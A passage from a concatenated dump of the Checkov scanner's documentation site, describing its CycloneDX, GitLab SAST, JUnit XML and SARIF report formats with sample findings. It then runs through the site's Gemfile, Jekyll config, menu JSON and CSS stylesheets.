https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-bucket-should-have-public-access-blocks-defaults-to-false-if-the-public-access-block-is-not-attached pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 CKV_AWS_144 checkov Resource: aws_s3_bucket.example. Ensure that S3 bucket has cross-region replication enabled https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/ensure-that-s3-bucket-has-cross-region-replication-enabled pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 CKV_AWS_145 checkov Resource: aws_s3_bucket.example. Ensure that S3 buckets are encrypted with KMS by default https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/ensure-that-s3-buckets-are-encrypted-with-kms-by-default pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 CKV_AWS_18 checkov Resource: aws_s3_bucket.example. Ensure the S3 bucket has access logging enabled https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 CKV_AWS_19 checkov Resource: aws_s3_bucket.example. Ensure all data stored in the S3 bucket is securely encrypted at rest https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_14-data-encrypted-at-rest pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 CKV_AWS_21 checkov Resource: aws_s3_bucket.example. Ensure all data stored in the S3 bucket have versioning enabled https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 CVE-2018-1000656 https://nvd.nist.gov/vuln/detail/CVE-2018-1000656 https://nvd.nist.gov/vuln/detail/CVE-2018-1000656 7.5 unknown CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083. fixed in 0.12.3 2018-08-20T19:31:00 pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6 CVE-2019-1010083 https://nvd.nist.gov/vuln/detail/CVE-2019-1010083 https://nvd.nist.gov/vuln/detail/CVE-2019-1010083 7.5 unknown CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656. fixed in 1.0 2019-07-17T14:15:00 pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6 ``` The output can be either created in a XML ```shell checkov -d . -o cyclonedx ``` or JSON format. ```shell checkov -d . -o cyclonedx_json ``` The default schema version is currently `v1.4`, but can be adjusted by setting the environment variable `CHECKOV_CYCLONEDX_SCHEMA_VERSION`. ex. ```shell CHECKOV_CYCLONEDX_SCHEMA_VERSION=1.3 checkov -d . -o cyclonedx ``` ## Structure Further information on the different elements and attributes can be found [here](https://cyclonedx.org/docs/1.4/xml/). ### component Each component stores the information of a single IaC resource or SCA package. IaC ```xml aws_s3_bucket.example sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 ``` - `name`: Resource ID - `version`: sha1 hash of the file - `hash`: sha1 hash of the file - `purl`: Format `pkg:///@` SCA ```xml flask 0.6 pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6 ``` - `group`: Group name of the package (only relevant for Maven packages) - `name`: Name of the package - `version`: Version of the package - `purl`: Format `pkg:////@` The repo ID will be automatically set depending on the environment `checkov` is invoked in, but can be adjusted by setting the flag `--repo-id`. ex. ```shell checkov -d . --repo-id acme/example -o cyclonedx ``` ================================================ FILE: docs/8.Outputs/GitLab SAST.md ================================================ --- layout: default published: true title: GitLab SAST nav_order: 20 --- # GitLab SAST GitLab SAST output adds the possibility to directly integrate with the Security tab and Merge Requests in GitLab. A typical output looks like this ```json { "schema": "https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json", "version": "15.0.4", "scan": { "start_time": "2023-01-23T22:45:33", "end_time": "2023-01-23T22:45:33", "analyzer": { "id": "checkov", "name": "Checkov", "url": "https://www.checkov.io/", "vendor": { "name": "Prisma Cloud" }, "version": "2.2.281" }, "scanner": { "id": "checkov", "name": "Checkov", "url": "https://www.checkov.io/", "vendor": { "name": "Prisma Cloud" }, "version": "2.2.281" }, "status": "success", "type": "sast" }, "vulnerabilities": [ { "id": "605d1ad8-da1e-4784-859a-199708846fee", "identifiers": [ { "name": "CKV_AWS_18", "type": "checkov", "url": "https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging", "value": "CKV_AWS_18" } ], "links": [ { "url": "https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging" } ], "location": { "file": "main.tf", "start_line": 1, "end_line": 8 }, "name": "Ensure the S3 bucket has access logging enabled", "description": "Further info can be found None", "severity": "Unknown", "solution": "Further info can be found None" }, { "id": "1fe876c4-db57-4785-867e-ab1415250382", "identifiers": [ { "name": "CKV2_AWS_6", "type": "checkov", "url": "https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-bucket-should-have-public-access-blocks-defaults-to-false-if-the-public-access-block-is-not-attached", "value": "CKV2_AWS_6" } ], "links": [ { "url": "https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-bucket-should-have-public-access-blocks-defaults-to-false-if-the-public-access-block-is-not-attached" } ], "location": { "file": "main.tf", "start_line": 1, "end_line": 8 }, "name": "Ensure that S3 bucket has a Public Access block", "description": "Further info can be found None", "severity": "Unknown", "solution": "Further info can be found None" } ] } ``` The output can be created via the output flag ```shell checkov -d . -o gitlab_sast ``` ## Structure Further information on the different elements and attributes can be found [here](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json). ================================================ FILE: docs/8.Outputs/JUnit XML.md ================================================ --- layout: default published: true title: JUnit XML nav_order: 20 --- # JUnit XML JUnit is the most widespread testing framework for Java and offers its result as an XML output, mostly known as JUnit XML. This output is often used to show the test results in CI tools like Jenkins or Gitlab. A typical output looks like this ```xml ``` ## Structure Further information on the different elements and attributes can be found [here](https://llg.cubic.org/docs/junit/). ### testsuite Each testsuite stores the results of one `checkov` runner. ```xml ``` - `name`: Name of the runner - `tests`: Amount of checks ran (passed + failed + skipped) - `failures`: Amount of failed checks - `skipped`: Amount of skipped checks - `time`: Currently not used - At some point it will store the time the runner needed to execute all checks - `disabled`: Not used - Was introduced in JUnit 5 to mark disabled tests - `errors`: Not used - Amount of tests with real exceptions ### properties The properties block stores the used flags during a `checkov` run. ```xml ``` - `name`: Name of the flag used - `value`: Value passed to the flag, otherwise `""` ### testcase A testcase represents the result of a check. IaC ```xml ``` - `name`: Format `[][] ` - `classname`: Format `.` - `file`: Used by Gitlab - File path of the scanned file SCA ```xml ``` - `name`: Format `[][] : ` - `classname`: Format `.` - `file`: Used by Gitlab - File path of the scanned file NOTE: For none API token user severity will be `[NONE]` #### failure A failure block stores the error lines of the check. IaC ```xml Resource: aws_s3_bucket.example File: /main.tf: 6-9 Guideline: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning 6 | resource "aws_s3_bucket" "example" { 7 | # checkov:skip=CKV_AWS_18: logging not needed on a logging bucket 8 | bucket = "test-12345" 9 | } ``` - `message`: Format `` - `content`: Format ``` Resource: File: Guideline: ``` SCA ```xml Description: A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.0-20201203163018-be400aefbc4c for Go allows remote attackers to cause a denial of service against SSH servers. Link: https://nvd.nist.gov/vuln/detail/CVE-2020-29652 Published Date: 2020-12-17T21:31:00+02:00 Base Score: 7.5 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Risk Factors: ["Has fix", "High severity", "Attack complexity: low", "Attack vector: network", "DoS"] Fix Details: Status: fixed in 2.8.1 Fixed Version: 2.8.1 Resource: package-lock.json.connect File: /package-lock.json: 0-0 0 | connect: 2.6.0 ``` - `message`: Format ` found in : ` - `content`: Format ``` Description: Link: Vector: Risk Factors: Fix Details: Status: Fixed Version: Resource: File: ``` NOTE: We currently don't parse the scanned parse files, therefore the line numbers and code representation are generated. #### skipped A skipped block stores the skip comment defined for the check. IaC ```xml ``` - `message`: Content of the skip comment SCA ```xml ``` - `message`: Format ` skipped for : ` ## Example ```xml Resource: aws_s3_bucket.example File: /main.tf: 6-9 Guideline: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning 6 | resource "aws_s3_bucket" "example" { 7 | # checkov:skip=CKV_AWS_18: logging not needed on a logging bucket 8 | bucket = "test-12345" 9 | } Resource: aws_s3_bucket.example_2 File: /main.tf: 12-15 Guideline: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning 12 | resource "aws_s3_bucket" "example_2" { 13 | # checkov:skip=CKV_AWS_18: logging not needed on a logging bucket 14 | bucket = "test-12345" 15 | } Description: A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.0-20201203163018-be400aefbc4c for Go allows remote attackers to cause a denial of service against SSH servers. Link: https://nvd.nist.gov/vuln/detail/CVE-2020-29652 Published Date: 2020-12-17T21:31:00+02:00 Base Score: 7.5 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Risk Factors: ["Has fix", "High severity", "Attack complexity: low", "Attack vector: network", "DoS"] Fix Details: Status: fixed in 2.8.1 Fixed Version: 2.8.1 Resource: package-lock.json.connect File: /package-lock.json: 0-0 0 | connect: 2.6.0 ``` ================================================ FILE: docs/8.Outputs/SARIF.md ================================================ --- layout: default published: true title: SARIF nav_order: 20 --- # SARIF SARIF (Static Analysis Results Interchange Format) is a standard format for the output of static analysis tools. It can be used to show alerts in your GitHub repository as a part of the code scanning experience. A typical output looks like this ```json { "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json", "version": "2.1.0", "runs": [ { "tool": { "driver": { "name": "Checkov", "version": "2.3.55", "informationUri": "https://www.checkov.io/", "rules": [ { "id": "CKV_AWS_21", "name": "Ensure the S3 bucket has versioning enabled", "shortDescription": { "text": "Ensure the S3 bucket has versioning enabled" }, "fullDescription": { "text": "Ensure the S3 bucket has versioning enabled" }, "help": { "text": "Ensure the S3 bucket has versioning enabled\nResource: aws_s3_bucket.operations" }, "helpUri": "https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning", "defaultConfiguration": { "level": "error" }, "properties": {"security-severity": 8.9} }, { "id": "CKV_AWS_3", "name": "Ensure all data stored in the EBS is securely encrypted", "shortDescription": { "text": "Ensure all data stored in the EBS is securely encrypted" }, "fullDescription": { "text": "Ensure all data stored in the EBS is securely encrypted" }, "help": { "text": "Ensure all data stored in the EBS is securely encrypted\nResource: aws_ebs_volume.web_host_storage" }, "helpUri": "https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-7", "defaultConfiguration": { "level": "error" }, "properties": {"security-severity": 6.9} } ], "organization": "prisma" } }, "results": [ { "ruleId": "CKV_AWS_21", "ruleIndex": 0, "level": "error", "attachments": [], "message": { "text": "Ensure the S3 bucket has versioning enabled" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "s3.tf" }, "region": { "startLine": 1, "endLine": 3, "snippet": { "text": "resource aws_s3_bucket \"operations\" {\n bucket = \"example\"\n}\n" } } } } ] }, { "ruleId": "CKV_AWS_3", "ruleIndex": 1, "level": "error", "attachments": [], "message": { "text": "Ensure all data stored in the EBS is securely encrypted" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "ec2.tf" }, "region": { "startLine": 5, "endLine": 7, "snippet": { "text": "resource aws_ebs_volume \"web_host_storage\" {\n availability_zone = \"us-west-2a\"\n}\n" } } } } ] } ] } ] }, ``` The output can be created via the output flag ```shell checkov -d . -o sarif ``` The tool.driver.name field can be customised using the --custom-tool-name flag ## Structure Further information on the different elements and attributes can be found [here](https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/sarif-v2.1.0-os.html). ================================================ FILE: docs/CNAME ================================================ www.checkov.io ================================================ FILE: docs/Gemfile ================================================ source "https://rubygems.org" # Hello! This is where you manage which Jekyll version is used to run. # When you want to use a different version, change it below, save the # file and run `bundle install`. Run Jekyll with `bundle exec`, like so: # # bundle exec jekyll serve # # This will help ensure the proper Jekyll version is running. # Happy Jekylling! #gem "jekyll", "~> 4.2.0" # This is the default theme for new Jekyll sites. You may change this to anything you like. #gem "minima", "~> 2.5" # If you want to use GitHub Pages, remove the "gem "jekyll"" above and # uncomment the line below. To upgrade, run `bundle update github-pages`. gem "github-pages", group: :jekyll_plugins # If you have any plugins, put them here! group :jekyll_plugins do gem "jekyll-feed", "~> 0.11" gem "jekyll-redirect-from" gem "jekyll-remote-theme" end # Windows and JRuby does not include zoneinfo files, so bundle the tzinfo-data gem # and associated library. platforms :mingw, :x64_mingw, :mswin, :jruby do gem "tzinfo", "~> 1.2" gem "tzinfo-data" end # Performance-booster for watching directories on Windows gem "wdm", "~> 0.1.1", :platforms => [:mingw, :x64_mingw, :mswin] gem "jekyll-get-json", "~> 1.0" ================================================ FILE: docs/_config.yml ================================================ remote_theme: bridgecrewio/checkov-theme-2 site_author: Bridgecrew repo_url: "https://github.com/bridgecrewio/checkov/" edit_on_github: true github_docs_folder: true sticky_navigation: true prev_next_buttons_location: both search_enabled: false hljs_style: github-gist google_analytics: UA-156134275-1 plugins: - jekyll-redirect-from - jekyll-remote-theme - jekyll-get-json jekyll_get_json: - data: menus json: './menus.json' ================================================ FILE: docs/index.md ================================================ --- # Feel free to add content and custom Front Matter to this file. # To modify the layout, see https://jekyllrb.com/docs/themes/#overriding-theme-defaults layout: home --- ================================================ FILE: docs/menus.json ================================================ { "utility": [ { "label": "About Prisma Cloud", "url": "https://prismacloud.io/?utm_source=checkovio&utm_medium=organic_oss&utm_campaign=checkov", "target": "_self", "submenu": false } ], "main": [ { "label": "Overview", "url": "/1.Welcome/What%20is%20Checkov.html", "target": "_self", "submenu": false }, { "label": "Docs", "url": "/1.Welcome/Quick%20Start.html", "target": "_self", "submenu": false }, { "label": "Download", "url": "/2.Basics/Installing%20Checkov.html", "target": "_self", "submenu": false } ] } ================================================ FILE: docs/search.html ================================================ --- layout: base title: Search nav_exclude: true search_exclude: true ---

Search Results

Enter a search query in the search box on the left.
================================================ FILE: docs/web/css/checkov.pyro.css ================================================ body { font-family: sofia-pro, sans-serif; color: #052882; font-size: 20px; line-height: 25px; font-weight: 300; letter-spacing: 0.5px; } .header { position: fixed; left: 0%; top: 0%; right: auto; bottom: auto; z-index: 10; width: 100vw; -webkit-transition: background-color 500ms ease; transition: background-color 500ms ease; } .header-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .image { height: 45px; } .btns-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } .btns-container.in-checkov-code { margin-bottom: 100px; } .btns-container.ic-community { margin-top: 60px; } .button { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 160px; height: 38px; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; border: 1px solid #052882; border-radius: 28px; background-color: #052882; box-shadow: 3px 3px 12px 2px #b3c3ea; -webkit-transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease; transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease; font-size: 16px; line-height: 1; text-align: center; } .button:hover { background-color: #fff; color: #052882; } .button.shadow-none { box-shadow: none; } .button.shadow-none:hover { background-color: #fff; color: #052883; } .button.shadow-none.white-btn { background-color: #fff; color: #052882; } .button.shadow-none.white-btn.try-bc-btn { margin-left: 30px; } .button.shadow-none.white-btn.try-bc-btn:hover { background-color: #052882; color: #fff; } .button.shadow-none.white-btn.white-btn-big { width: 200px; height: 45px; margin-left: 30px; } .button.shadow-none.white-btn.white-btn-big:hover { border-color: #fff; background-color: transparent; color: #fff; } .button.shadow-none.white-btn.white-btn-big.more-size-btn { width: 260px; height: 50px; } .button.shadow-none.big-btn-with-border { width: 200px; height: 45px; border-color: #fff; } .button.shadow-none.big-btn-with-border.transparent-btn { width: 260px; height: 50px; background-color: transparent; } .button.shadow-none.big-btn-with-border.transparent-btn:hover { background-color: #fff; } .button.shadow-none.big-btn-with-border.transparent-btn.fix-size-trans-btn { width: 200px; } .button.shadow-none.big-btn-with-border.transparent-btn.fix-size-trans-btn:hover { background-color: #fff; } .checkov-page { padding-top: 40px; background-color: #123489; background-image: linear-gradient(135deg, #123489, #102867); } .hero { position: relative; height: 100vh; padding-top: 140px; padding-right: 16vw; padding-left: 16vw; } .main-title { margin-top: 0px; font-size: 40px; line-height: 50px; font-weight: 300; } .main-title.center-title { text-align: center; } .main-title.center-title.community-title { width: 40vw; color: #fff; } .hero-text-container { position: relative; z-index: 1; max-width: 45vw; } .hero-text { max-width: 390px; margin-top: 30px; margin-bottom: 50px; } .hero-bg { position: absolute; left: 0%; top: 0%; right: auto; bottom: auto; display: none; width: 100%; height: 100%; background-image: url('../images/Mask-Group-1.png'); background-position: 0% 0%; background-size: cover; background-repeat: no-repeat; } .mouse-outer-wrapper { position: absolute; left: 50%; top: auto; right: auto; bottom: 40px; z-index: 1; -webkit-transform: translate(-50%, 0px); -ms-transform: translate(-50%, 0px); transform: translate(-50%, 0px); cursor: pointer; } .mouse-outer { position: relative; width: 25px; height: 40px; border: 3px solid #fff; border-radius: 20px; } .mouse-inner { position: absolute; left: 50%; top: 10px; right: auto; bottom: auto; width: 4px; height: 4px; border-radius: 1px; background-color: #fff; -webkit-transform: translate(-50%, 0px); -ms-transform: translate(-50%, 0px); transform: translate(-50%, 0px); } .checkov-code { position: relative; z-index: 1; padding-top: 60px; padding-right: 16vw; padding-left: 16vw; } .checkov-code-text { width: 35vw; margin-bottom: 85px; color: #fff; font-size: 28px; line-height: 35px; text-align: center; } .checkov-code-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .checkov-code-img { width: 60vw; max-height: 615px; margin-bottom: 55px; -o-object-fit: cover; object-fit: cover; } .features { padding: 100px 16vw; } .features.center-title { background-color: #fff; text-align: center; } .features-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; margin-top: 85px; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; } .single-feature { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 19vw; min-width: 19vw; margin-right: 15px; margin-left: 15px; padding-top: 3vw; padding-bottom: 3vw; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; background-color: #fff; box-shadow: 4px 0 20px -5px rgba(0, 0, 0, 0.2); } .img-wrapper { height: 45%; } .feature-text { width: 17vw; margin-top: 60px; margin-bottom: 0px; font-size: 16px; } .open-source { padding: 60px 16vw; background-color: #fff; } .source-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; margin-top: 85px; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; } .single-source { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 15vw; min-width: 15vw; margin-right: 15px; margin-left: 15px; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; } .single-source-text { margin-bottom: 30px; font-size: 16px; font-weight: 500; text-align: center; } .twitter { position: relative; display: none; padding: 60px 16vw 0px; background-color: #fff; } .twitter-container { position: relative; z-index: 2; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; margin-top: 105px; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; } .single-twitter-item { width: 46%; height: 12vw; margin-right: 15px; margin-bottom: 15px; margin-left: 15px; border-radius: 29px; background-color: #fff; box-shadow: 3px 3px 20px 0 rgba(0, 0, 0, 0.2); } .community { position: relative; margin-top: 0px; padding: 300px 16vw 150px; background-color: #fff; } .community-container { position: relative; z-index: 2; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .community-bg { position: absolute; left: 0%; top: 0%; right: auto; bottom: auto; z-index: -1; width: 100%; height: 100%; background-image: url('../images/community.png'); background-position: 0% 0%; background-size: cover; background-repeat: no-repeat; } .community-bg.pointer-events-none { z-index: 0; } .footer { position: relative; width: 100vw; padding: 20px 8vw; background-color: #194ac6; } .footer-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-align: start; -webkit-align-items: flex-start; -ms-flex-align: start; align-items: flex-start; } .footer-logo-wrapper { margin-right: 6vw; color: #fff; font-size: 15px; line-height: 18px; text-decoration: none; } .bridge-logo { height: 40px; } .powered-text { margin-bottom: 5px; } .footer-li { width: 25%; margin-top: 0px; margin-bottom: 10px; font-size: 0.9vw; line-height: 1.5vw; font-weight: 200; } .footer-link { color: #fff; text-decoration: none; } .footer-links-list { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 45vw; margin-bottom: 0px; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; } .visit-on-text { margin-bottom: 5px; color: #fff; font-size: 0.9vw; line-height: 1.5vw; font-weight: 200; } .social-links { margin-top: 15px; } .single-social-link { margin-right: 10px; margin-left: 10px; } .single-social-link.first { margin-left: 0px; } .single-social-link.last { margin-right: 0px; } .to-top-btn { position: fixed; left: auto; top: auto; right: 0%; bottom: 0%; z-index: 10; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 60px; height: 60px; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; border-radius: 50%; background-color: #052882; -webkit-transform: translate(-50%, -50%); -ms-transform: translate(-50%, -50%); transform: translate(-50%, -50%); } .arrow-up { height: 10px; -o-object-fit: contain; object-fit: contain; } .source-img { font-family: Roboto, sans-serif; font-weight: 400; } .social-img { height: 24px; } .features-slider { display: none; } .sources-slider { display: none; } .hero-img { position: absolute; left: 0%; top: 0%; right: auto; bottom: auto; z-index: 0; width: 100vw; } @media (max-width: 991px) { body { font-size: 16px; line-height: 22px; text-align: center; } .header { } .header-container { -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; } .image { height: 20px; } .btns-container.in-checkov-code { -webkit-box-orient: vertical; -webkit-box-direction: reverse; -webkit-flex-direction: column-reverse; -ms-flex-direction: column-reverse; flex-direction: column-reverse; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .btns-container.ic-community { margin-top: 30px; -webkit-box-orient: vertical; -webkit-box-direction: reverse; -webkit-flex-direction: column-reverse; -ms-flex-direction: column-reverse; flex-direction: column-reverse; } .btns-container.in-header { display: none; } .button { box-shadow: 3px 3px 12px 0 #b3c3ea; font-size: 14px; } .button.shadow-none.white-btn.white-btn-big { margin-bottom: 15px; margin-left: 0px; } .hero { height: 90vh; padding-top: 100px; padding-right: 20px; padding-left: 20px; background-color: #fff; } .main-title { font-size: 24px; line-height: 28px; font-weight: 700; } .main-title.center-title.community-title { width: 100%; } .hero-text-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; max-width: 100%; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .hero-text { max-width: 100%; } .hero-bg { left: 0%; top: auto; right: auto; bottom: 0%; display: block; background-color: #123489; background-image: url('../images/circle.svg'); background-position: 0% 120%; background-size: cover; background-repeat: no-repeat; } .css { display: none; } .checkov-code { padding-right: 20px; padding-left: 20px; } .checkov-code-text { width: auto; margin-bottom: 35px; font-size: 18px; line-height: 22px; } .checkov-code-img { width: 100%; } .features.center-title { padding: 50px 20px; } .features-container { display: none; } .feature-text { width: 200px; max-width: 100%; margin-top: 40px; font-size: 14px; line-height: 20px; text-align: center; } .open-source { padding: 100px 20px 50px; } .source-container { display: none; } .single-source-text { margin-bottom: 20px; font-size: 14px; text-align: center; } .twitter { position: relative; z-index: 1; padding-top: 50px; padding-right: 20px; padding-left: 20px; } .twitter-container { overflow: scroll; width: 100vw; margin-top: 50px; margin-left: -20px; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; -webkit-flex-wrap: nowrap; -ms-flex-wrap: nowrap; flex-wrap: nowrap; } .single-twitter-item { width: 80%; height: 110px; min-width: 80%; } .community { padding: 150px 20px 50px; } .footer { padding-right: 40px; padding-left: 40px; } .footer-container { -webkit-box-orient: vertical; -webkit-box-direction: reverse; -webkit-flex-direction: column-reverse; -ms-flex-direction: column-reverse; flex-direction: column-reverse; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .footer-logo-wrapper { margin-right: 0vw; } .bridge-logo { height: 20px; } .powered-text { font-size: 14px; line-height: 17px; } .footer-li { width: 50%; font-size: 14px; line-height: 17px; text-align: left; } .footer-links-list { width: 100%; padding-left: 0px; } .footer-nav { width: 100%; margin-bottom: 20px; padding-bottom: 20px; -webkit-box-ordinal-group: 2; -webkit-order: 1; -ms-flex-order: 1; order: 1; border-bottom: 1px solid hsla(0, 0%, 100%, 0.75); } .footer-visit-on { margin-bottom: 20px; } .visit-on-text { font-size: 14px; line-height: 17px; } .to-top-btn { position: fixed; top: 95%; right: 0px; z-index: 999; width: 40px; height: 40px; } .arrow-up { height: 7px; } .source-img { height: 260px; } .social-img { height: 16px; } .features-slider { display: block; height: auto; margin-top: 40px; background-color: transparent; } .right-arrow { display: none; } .left-arrow { display: none; } .feature-slider-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .sources-slider { display: block; height: auto; background-color: transparent; } .left-arrow-2 { display: none; } .right-arrow-2 { display: none; } .source-slider-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; margin-top: 20px; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .slide-nav { left: 0%; top: 110%; right: auto; bottom: auto; width: 100%; } .slide-nav.source-nav { top: 100%; } .hero-img { display: none; } } @media (max-width: 767px) { .hero { padding-top: 15vh; } } @media (max-width: 479px) { .button.shadow-none.white-btn.white-btn-big.more-size-btn { width: 240px; } .button.shadow-none.big-btn-with-border.transparent-btn { width: 240px; } .footer-nav { margin-bottom: 10px; padding-bottom: 10px; } } ================================================ FILE: docs/web/css/normalize.css ================================================ /*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */ /** * 1. Set default font family to sans-serif. * 2. Prevent iOS and IE text size adjust after device orientation change, * without disabling user zoom. */ html { font-family: sans-serif; /* 1 */ -ms-text-size-adjust: 100%; /* 2 */ -webkit-text-size-adjust: 100%; /* 2 */ } /** * Remove default margin. */ body { margin: 0; } /* HTML5 display definitions ========================================================================== */ /** * Correct `block` display not defined for any HTML5 element in IE 8/9. * Correct `block` display not defined for `details` or `summary` in IE 10/11 * and Firefox. * Correct `block` display not defined for `main` in IE 11. */ article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } /** * 1. Correct `inline-block` display not defined in IE 8/9. * 2. Normalize vertical alignment of 